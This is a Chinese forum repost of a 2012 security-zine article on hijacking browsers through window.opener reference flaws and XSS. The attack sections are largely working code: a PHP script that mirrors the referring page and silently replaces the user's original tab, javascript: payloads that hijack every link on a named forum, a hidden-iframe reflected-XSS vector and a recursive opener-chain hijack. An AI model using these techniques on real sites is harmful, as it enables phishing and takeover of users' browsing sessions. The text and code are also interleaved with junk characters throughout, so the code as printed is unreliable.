中国网络渗透测试联盟

标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持] [打印本页]

作者: admin    时间: 2012-9-13 17:10
标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
                           ==Ph4nt0m Security Team==
4 X2 l# H$ P2 y  e  k" u, ^* L # Y6 D3 ?# t! r) N+ n+ `
                       Issue 0x03, Phile #0x05 of 0x07
5 j" [' D& R9 {( I8 Y ) ^1 V, X- H* `, q; Y4 K

, f( F' U  w) x8 z' {; y|=---------------------------------------------------------------------------=|
- K8 C: p% f! {% c( S|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|+ c# W" O: D% a4 V. ?/ H1 V
|=---------------------------------------------------------------------------=|/ v! Q& P+ d6 s' S) z# d4 @$ r
|=---------------------------------------------------------------------------=|
- }/ S% T' q0 E# M6 _|=------------------------=[      By rayh4c     ]=---------------------------=|7 q+ g9 }' d5 n0 o! J) R/ |6 l
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
+ n  N5 X2 E5 g9 N|=---------------------------------------------------------------------------=|
* h" r: S' v( U9 ?4 M/ i: H' {$ a7 Q

0 A+ G; ?1 s# J7 A  ^+ m[目录]
6 T) I  `* {$ Z: f7 K
( f# Z# U' }+ _1. 前言
0 h; _" c: ~2 K4 A2 C5 `( x8 I2. 同源策略简叙  v) {7 u" \  I: s2 V; ^
3. 理解window对象的同源策略
/ A" `: T/ g& c4 k) g9 N, R" a4. 窗口引用功能中的同源策略漏洞6 {$ Z5 m% y" Z& T- m3 J" i
  4.1 父窗口引用子窗口的同源策略问题1 p8 w8 A# D! j# V0 x" i; d
  4.2 子窗口引用父窗口的同源策略问题
: Y8 K( @. I# n" P- h5. 利用窗口引用漏洞劫持浏览器  B# a4 i: q/ ^) i
6. 利用XSS漏洞劫持浏览器
  R' ?. B, v8 z+ n  6.1 正向跨窗口劫持' m) V! ]% }! X$ h* k1 i
  6.2 反向跨窗口劫持
# W1 H7 b2 d. z5 }4 b/ k5 [% u( f% _  6.3 极度危险的跨框架窗口引用劫持8 E# Y% T8 @* F" O  y" |( {
  6.4 极度危险的正反向跨窗口递归劫持% W/ |& l  b  h% Z
  6.5 完全控制浏览器
) m- t2 v: a6 X7. 后记
% e. y7 _/ p4 V* }: z% p7 n; s8. 参考
0 q' {8 G6 y4 h- b" B" `: m: ?% o2 F! W) [# y1 o

, z9 N1 @! z" Z8 Q1 a8 `一、前言% H# f& [9 X8 z$ i. Z8 c/ ?
% J6 {% R1 v" N: T! }
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋) f: j, F# m9 q; H6 }1 H8 y
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session4 O% `2 r0 W0 t
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
0 @5 R& ~- L# I1 c6 N1 U条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
/ t% I% H$ _$ V  A+ y# q/ f  H: j/ X
, `- q6 m. r  G$ _  M2 B* C2 i
二、同源策略简叙/ h/ c/ Q9 ~2 J) F7 Y6 A* s
; S) C. q( I* q" P5 P% \
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以& c; }, X/ H% s- L! b! c! x
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
# u8 n/ H4 v+ F8 ~9 D4 _7 Z曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
3 h3 I0 H( L; E" E# K马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个: s5 n6 c0 Q. a
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
. ?9 Z  j' [- F8 ?1 {; m, f# P" c3 \0 @6 ~1 d' Y! V
8 |( M) A) k- n2 ], Y, @, x% l
三、理解window对象的同源策略+ J; x5 w* q" P, ~

8 J& |; R/ P& |# h& e2 U9 [* L, c    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对; w8 g( N# j  j7 @# w  U4 L! s3 V0 \+ P
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
: S0 \7 G: t& m$ P) t$ z  M) L
--code-------------------------------------------------------------------------$ V3 |7 U& y, @3 _' n
<script language="javascript">
3 Y1 O5 P8 B2 ~5 A8 r+ X" Hfor(p in window) document.write(p+"<br>");% D7 H. I7 P' W1 g6 f
</script>5 M( |5 [. ^9 m7 f4 n! J$ d
-------------------------------------------------------------------------------' d6 n+ K# J( i6 U/ ^

, [% x* A% H. m    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方! Q( s, @9 j0 r  |7 F
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,+ ^4 L! F+ E1 d! F
这些属性和方法就必须遵循同源策略。3 C( t: ~4 B7 w
. W2 H' x- i* `% j; P, ]7 F
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那7 O. i9 A" H! N+ ]) Z" T( T! M* F- Z
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
7 V- j/ K9 F5 f7 K3 u# `9 m. B的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这# W' \# `2 T; F5 C6 |
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
- v( P, M  c! @# f  g4 k值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
6 a: H9 I. y! F3 S7 v9 r属性并没有被拒绝访问。
0 h% E$ l5 F" H+ ^; E0 R$ |
2 u( e7 ~) i& x0 D--demo.html--------------------------------------------------------------------0 z" R3 l/ z1 M2 `6 H4 V
<script language="javascript">   1 E7 X- E$ G4 B0 O
function allPrpos(obj) {      
# {/ ?  _9 {3 t, P      var props = "<table><tr><td>名称</td><td>值</td>";           # _* {# [& O8 E- _
      for(var p in obj){         
' r/ v7 u! L6 ], F            if(typeof(obj[p])=="function"){   / A4 A7 |1 d  V  x
                   obj[p]();   
4 v  V: u' w3 u# J; {             }else{                     
* f' j4 @# I3 c5 k2 f# }' I. P' e( N                  try   
% j# v# P4 w8 w6 R                   {   
2 \. ?0 x# P) `' Z6 k! m                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
& T5 \+ G, K4 R: e9 U                   }   $ C) U& O  {( Z$ X7 N& W
                  catch (ex)   
, Y' y1 R0 J1 a7 V$ O" p1 L                   {   
* p4 W( U5 }& J9 b/ q                   & Q; V: G9 m$ s6 D
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
# s" e6 M( _! O) O$ C3 X                   }   # U; X: \) k1 K5 i7 S9 A
                       7 b0 o. H2 k# V4 ?
             }   * f9 u' @0 Y0 A3 T. l/ X  s
       }   5 b2 h2 u. X, B' j$ l, w
   
2 C- z% ]: d% e# p       document.write(props+"</table>");   & Q" \& K7 ^+ T: H
}   1 f9 z) i, ]3 k! \8 Z
   5 R9 x$ w2 W7 b9 m7 O
function createWin() {+ a- J& p0 c0 |, j  o# {+ w. N. {9 c
        newWin = window.open ("http://www.google.com");  ) r/ @& F" q; B- Y0 I
        setTimeout(function(){allPrpos(newWin)},2000); 0 a9 \4 e+ l3 \) _/ _% p
}
- L9 w/ k* Z1 N( U8 L+ D( P- b3 L8 h9 c& X9 z
</script> 0 G! L9 a( J( V+ n% u7 p/ V
' `6 F# I4 X" L* j" t: q
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
& X' E$ s" B. s( z: `-------------------------------------------------------------------------------& \+ R5 B& T# s$ J% g" f, o0 m
  C: s* F  D& D4 [

* H7 K9 Z7 q. u. {% ]; r! ?5 u  ]四、窗口引用功能中的同源策略漏洞5 b- j! Z4 q4 D5 G

; ?1 Q8 [8 E% B7 ?1 V4.1 父窗口引用子窗口的同源策略问题* O% q9 o  Y# Q! O! [. h) H

; z9 H) J" M8 Z* S! G    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
" S# L9 W( l" n! @但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
! \3 C* T- Y1 B0 L浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进+ `9 W+ t: N: t4 i; s0 \+ V
行测试,会发现父窗口可以控制非同源子窗口location属性值。0 v$ Z6 y- x! L$ U/ J4 w# ?
4 U1 |* K% t8 t  r+ n8 q. t
--vul1.html--------------------------------------------------------------------
' [! Z" h1 O1 k" I9 D<script language="javascript">   e7 |* l5 K5 \) Z. G! i
function createWin() {  : \/ U; u  W6 W6 b' Q2 r  k. e/ f+ S
        newWin = window.open ("http://www.google.com");  ' ?* i, ?8 m; f6 V2 _
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
: b; I) [3 y1 L}
- c8 l$ T" G( e( A8 ?) B0 z. N6 p0 b</script>7 V1 J/ s2 \$ M) F1 |2 S5 t
' [+ w/ g* C; s$ F% r$ G
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
* |' ^$ U; |) q4 ]) @5 W4 z-------------------------------------------------------------------------------  K% ^* o8 V4 m" P. f0 {8 p- \4 @
; {: L! b* W! ?/ \0 s
! N5 _" Q7 l5 }7 t" [& V6 E0 E9 ~
4.2 子窗口引用父窗口的同源策略问题3 T4 N0 a% a0 @4 z
% y" l2 _+ [& P2 e# H
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使8 c' X# `. R8 U2 A9 `/ T
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
% V; g% l+ Z- ?) \* ]3 i2 p$ Q可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定2 B( B7 i, d/ R4 D
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
: r7 B- u( v) A( s7 M( M
+ l3 s$ P) r7 L: W9 g--code-------------------------------------------------------------------------' b1 d6 _% K# ~7 h+ W/ J$ ~. f3 v

# `3 W0 U# x( k/ ijavascript:window.opener.location = "http://www.80sec.com";void(0);
, a" X! `- n* s, W: d1 e
" h- A: m3 {9 t5 k; _-------------------------------------------------------------------------------
- H* E. d& W# P( B1 t, e  \5 T. c, H3 s* W, k4 g2 J: i9 r) N
" V. [3 ^* ^- K; ^, E! _
五、利用窗口引用漏洞劫持浏览器' k& ?8 R3 I0 Y7 z% j

) R. r  r7 ~$ M& x7 b" d" m    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
9 G0 V3 q! N9 u1 {4 U$ @% }窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
* [2 f3 |; _3 }8 |0 l8 \5 F么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
0 O2 b4 R- L" s  N7 E& L. j$ x
! T3 N8 h  M& R1 C* t    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
& ?, i2 l) `/ o* e. |生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或8 O4 y- `1 y* h% V4 l' I1 j
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接/ D4 N0 V; {% E
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
% ^* k+ u& G$ w! q" `4 |( n! ]$ i会产生什么可怕的后果。7 i9 q# k. O, l1 B' o1 O

, m9 O" |1 g% X0 d# O3 o$ |) f    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
- D: Y, I' i' l" v% E们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
3 k1 N: ]- j6 G( i* i这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
# w( p( ~% }- H3 H, e候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可% ~, S+ m2 t' ]* U+ k
以做更多的事情,所有的一切仅仅是因为点击了一个链接。  b2 t5 s) V  Y3 c5 _$ X

: b/ j) _) ^$ n# x. E--hjk_ref.php------------------------------------------------------------------
& c: n& c, h( Y, \/ o9 \( R9 z<?php/ c) e8 F  g$ j1 f% s1 Y! H
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
1 U- l; ]9 Q! v& k+ ]1 I$Url_Mirror = $_SERVER["HTTP_REFERER"];7 s( q8 {6 i6 D0 f* r
}
: |. ]% K% u. d. Hif(isset ($_GET['ref'])) {
4 D! u# ~" O; uecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
$ R0 n8 F0 u- X}, |( |; B2 P& e! l8 r, ]
?>
7 Z0 k/ s- W( Z7 |  e; w
6 A5 d8 ]. k1 V9 w$ g& a/ @" D5 s<script language="javascript">. l/ U, Y. v6 ?+ ^$ Z
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         3 Q0 ^* o' D& ^7 N7 _
</script>2 E. j' v" |" N5 V: _
-------------------------------------------------------------------------------
3 L0 s" f: Q) ?, y* e# e+ G8 }3 [4 n4 G/ s* \: o4 T! p4 [0 K
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
8 z0 d# g8 `; N6 _4 `6 K# p+ P$ `, f( t* T3 k( j# c
3 C: Z5 g% D2 f3 j  D! A9 |
六、利用XSS漏洞劫持浏览器3 x, X0 A5 `# k( V+ ]3 l

' e1 f0 O+ K6 T3 Q4 o# a/ ]    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为# @. P3 t$ ?6 }
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后# x% e; m4 v& S
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
4 V8 k( |# f: x讨论跨站师的终极技巧:
$ Q0 V1 S) @  W; i/ M2 Q0 C' \
0 z/ O' U+ l4 c& k! h$ x2 ?* O4 n& \0 S/ v/ T; e4 N6 ]' @7 j
6.1 正向跨窗口劫持
2 G+ K' ?0 n8 \
2 `" K" w# C, j- \. Z, Z/ t    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛7 A: O( H( V/ l( n
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链$ L' P: N) W8 x; z
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
( l4 o' o8 S4 h+ F& j4 l3 a框脚本。
6 F: ^+ S; F0 Y- B8 l/ e, x3 Q4 \" E$ I5 t$ g
--hijack_open.js---------------------------------------------------------------
3 V4 s1 u+ T$ _/ O( c4 c1 N3 V" P4 W  q- _+ W
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
2 O* Z" J, p& |# N
+ ?9 l7 m2 h$ D-------------------------------------------------------------------------------
8 x& \8 T+ Q8 I/ V8 ^0 w& {4 {. e# N
$ k! z, y6 u: n  {! o6 s# u% a1 U1 Z
6.2 反向跨窗口劫持
6 @$ R; K) v, i8 Z5 V3 o
( W: O* m9 L" a0 v) l    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
8 f, ~2 _& ]! k9 |# O! Q码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
3 v4 r9 c* A4 ?, y' N8 A( S框脚本。
' f+ ]: v- I4 [0 B. K2 b) K3 F3 g" t$ U
--hijack_opener.js-------------------------------------------------------------) m! T3 l" c0 Z4 d2 m! r

* a7 x1 B  q1 J6 Cjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
* _' J- ^( a( M- G
2 U6 F# a8 S: h6 v  U: ]0 s-------------------------------------------------------------------------------7 }/ F/ k0 t; k, r. t

: s' x7 b" p, ]1 X: t. [' _9 a: p8 [) o3 A8 D: j, A0 p! E
6.3 极度危险的跨框架窗口引用劫持; R& v* ]/ A; a' S$ g8 t- \/ }* S. q" A" o
, Q" K: p0 P& f7 P4 e/ z9 ~4 `
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
; M3 |# B4 X$ A' V; w7 V可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
/ k) j3 L* O( i% Z9 m$ g2 B适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个! c/ l5 `' {" G* F3 g, W/ A1 K
非持久型的XSS,如下:
- o) d8 |0 m. r/ T9 @  J( ~
# \/ R  U- o- P4 Z" E  N<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
3 F5 N$ W: I5 P1 E1 s  y
2 I: |; v* n2 ]  t    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
2 T: x$ G; M  Y* c3 V- Q注入脚本。9 ]1 D2 l! }1 v& m/ A# ?
: v" I8 q) X1 _
--hijack_frame_opener.js-------------------------------------------------------
. [- v" f7 |3 c. s+ @' A6 B# b( i<script>
  \. ~, Q% T& g; ]: s4 Ywindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";6 J% D& S. D, j3 Z
</script>  y6 G3 c- I$ p# W  @
-------------------------------------------------------------------------------" r* w& }0 X5 O" U* `/ ~& s4 a
; ^2 c. d+ i* C$ X

. k+ \* m! ^& S% {4 [; Q2 H6.4 极度危险的正反向跨窗口递归劫持! n4 Q, v/ N+ {6 a, x

0 ]& H5 c2 ^4 x8 j0 G    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
5 m) ]- J, s0 e7 G# `# z& Z的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
3 S" D. v! z1 q/ _2 }6 f% Q7 {异常处理规避之间跨域页面的访问异常,代码如下:
3 ?  R9 _' d: ]3 O; s. H% n1 C% ^2 E! \8 J, O8 }0 V5 h
--code-------------------------------------------------------------------------. l  a+ j. A- R6 J$ O5 C8 a$ X, ?2 L* t
! K4 v3 V* d/ `( i# y% w; h
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);- w" S+ t/ x' B2 t+ L1 s) f# a
" F& h7 s! `& s  w# K
-------------------------------------------------------------------------------4 D* f4 _& H6 c5 ]' Y9 T( G* z9 H
' G, l9 c8 J" K1 i' u" f
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
3 d: R- o3 I7 B/ {0 z2 _以劫持B域之前的A域页面,从而实现“隔空打击”。- P$ Y/ Z5 R1 ?" m0 T/ D0 c
0 E1 D6 W# y9 [& u# o
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面7 \0 w6 q* f0 }/ G2 T$ Y, Y
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
  i6 {; }4 I) r6 U* \0 {, q5 d
4 w5 }' C* H8 d1 n* J/ h& u    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。1 C# b4 Y. d0 A# d" n0 Q) J
5 r" j- ^3 |; O" h

% Q( j/ R2 W) P( ?6 j5 G6.5 完全控制浏览器6 E- H5 p  w0 E
& B* a8 L; d' C; E% x2 X
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
. k5 x7 _; C1 M: B6 {1 p* r是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
1 k% ~5 m  x% O漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
0 m4 V/ L% p! M# y9 J! v# E1 O1 J而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
& v$ Q) R0 x3 R( x列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站6 e- k/ [% O4 r# s: g' w7 a& S
师的终极目标 - 完全控制浏览器。5 U" F) |4 Z# x  F& c

& h! Y. b+ m+ g1 I2 X7 Q1 T4 h: F
$ l4 m3 C( z9 v; p) n) _七、后记3 ?) {: `* O$ y
9 _1 g8 d) v6 R% h3 t8 v
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
8 Y4 o8 Z6 A& W( }' k与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
$ A, o! M0 s+ ?4 i过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
/ \- X; Z' t8 J; Z7 x
# M" g7 P+ Q6 ~( C( t" X2 }5 e' U7 e6 y
八、参考1 ?! [7 X* N$ k6 E6 Y! K

9 |! ?6 a5 t" R$ y9 {1. http://en.wikipedia.org/wiki/Same_origin_policy% c6 s. j! w8 z) Z- h6 ~
2. http://code.google.com/p/browser ... licy_for_DOM_access
6 R! }1 I# E1 }9 k. h- n' R! o8 l7 R3. http://www.w3.org/TR/Window/
9 K- ^1 _4 E: Y/ t5 B4. http://www.80sec.com/release/browser-hijacking.txt% h# Z6 _# L4 ]1 e7 `" y( O
5. http://www.80sec.com/all-browser-security-alert.html
/ h' |  n# l; M" N: A: n- h9 r6. http://www.80sec.com/ms08-058-attacks-google.html. a6 C5 d5 a# _

, o+ q. N# E/ r( _+ f-EOF-




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2